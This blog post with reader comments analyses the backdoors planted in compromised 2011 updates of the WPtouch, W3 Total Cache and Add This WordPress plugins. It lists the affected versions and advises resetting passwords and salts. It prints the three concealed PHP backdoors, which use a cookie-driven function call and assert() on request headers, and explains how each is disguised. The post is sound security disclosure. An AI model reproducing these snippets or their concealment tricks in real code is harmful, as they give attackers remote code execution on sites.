Add This, W3 Total Cache, WPtouch backdoors

Yesterday the WordPress.org team uncovered a series of compromised updates to popular plugins and temporarily shut down the plugin repositories and reset users’ passwords. Their blog post did not go into details however and I decided to hunt down and investigate the backdoors inserted.

What actually happened?

Attackers were able to gain access to the user accounts of three plugin authors’ accounts on WordPress.org and make unauthorised updates to their plugins, which were downloadable for around 24 hours until detected. All three plugins’ updates included a malicious concealed backdoor that allowed arbitrary PHP code to be executed. Anyone who had the compromised updates active could have potentially had their site compromised, but it’s hard to say. Changing passwords and changing the salts and unique keys in wp-config.php ought to lock out any compromised passwords, though further backdoors could have been placed through the use of the existing ones.

The affected plugin versions are: Add This 2.1.3, W3 Total Cache 0.9.2.2 (after 5:41am 21/06), WPtouch 1.9.28

WPtouch

if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
      $this->desired_view = $matches[1].$matches[2];

The first backdoor to be inserted, this was the most puzzling code to understand. The ‘desired_view’ property is used by WP Touch to determine if to use the mobile theme or not, but its use here is purely for appearance. The code carries out some seemingly mundane checks on whether a cookie with a certain key is set and if so, sets the view accordingly. The cookie is not actually part of the plugin however, with the variable used simply to further disguise its purpose, and the payload is hidden as an if() clause. It uses a regex pattern to extract two variables from the cookie, then calls them as a function and its parameter respectively.

W3 Total Cache

if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
      $this->cache_reject_reason = 'proxy';

The second backdoor is nested within a block labelled “Skip if proxy” and in its defence, it does do this. It just happens to also pass the browser’s HTTP_X_FORWARD_FOR header to assert(), a PHP debug function that executes any strings passed to it as PHP code. Missing the error-suppressing found in Add This, but best of the bunch for concealment.

Add This

$addthis_languages = array(''=>'Automatic', [...] 'th'=>'Thai', 'ur'=>'Urdu', 'cy'=>'Welsh', 'vi'=>'Vietnamese', 're'=>@assert(wp_get_referer()));

The third and final backdoor is hidden inside an array of language names (RE is the country code for Reunion Island), again using assert(). It’s passed the browser’s referrer header via WordPress native functionality, so while the code looks slightly out of place, it’s easily enough passed over by anyone expecting native code. The @ keeps it from appearing as an error if the assertion fails.

 

Follow me on Twitter: @adamhmharley

21 thoughts on “Add This, W3 Total Cache, WPtouch backdoors

  1. Thanks for the explanation. What I am not clear on is . . .

    1) If we use these plug-ins and updated the malicious versions yesterday, are our passwords and other data comprised – or did this affect only wordpress.org?

    2) There is apparently a force reset for wordpress.org. Do we need to change our passwords for our self-hosted blogs?

    Thank you,

    • If you installed the malicious versions of the plugins and had them active, then your install could have been compromised through the exploits, but it’s hard to know. I’d recommend changing the passwords as well as the unique keys and salts in wp-config.php to be safe.

  2. Pingback: WordPress.org再遭入侵,热门插件植入恶意程序 « 每日IT新闻,最新IT资讯,聚合多站点消息,保证你与世界同步

    • Sure. The affected versions were:

      • Add This: 2.1.3
      • W3 Total Cache 0.9.2.2 (after 5:41am 21/06)
      • WPtouch 1.9.28

      W3 Total Cache had an already released version modified, so I’m not sure if that would have affected downloads from that point on or not.

      Edit: It did.

  3. In the first example, $matches[1] could be set as “eval” and $matches[2] to any PHP code to be executed. This does not seems limited to me.

    Those are pretty well concelead backdoors, much better than the usual eval/base64 encode

    • Yeah that wasn’t the best wording in hindsight, just meant it was slightly limited since it requires eval to be passed rather than just any code as with the others. I’ve taken it out since it’s a bit misleading.

  4. Thank you for posting this information. I wondered what had actually happened. I’m pretty annoyed with WordPress for not making the dashboard warning more noticeable: “Password Reset” is a pretty poor way to draw attention to it. Still, resetting the passwords for all my sites’ users gives me a good excuse to contact them.

  5. Pingback: dimis » Blog Archive » Wordpress

  6. Pingback: 3 Wordpress Plugins Compromised

    • You should be fine as long as you didn’t download 0.9.2.2 after 5:41am 21/06 and have it active before installing 0.9.2.3.

  7. Pingback: Κακόβουλο λογισμικό σε plugins του WordPress | SecNews

  8. Pingback: TreeCompare is a Lightweight Folder Comparison Software | Raymond.CC Blog

  9. Pingback: WordPress is it worth it | cadentcomputing.com

  10. Pingback: Links for 2011-06-23 | Robert Price

  11. Pingback: AddThis, WPtouch and W3 Total Cache plugins were Hacked | MognetMognet

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>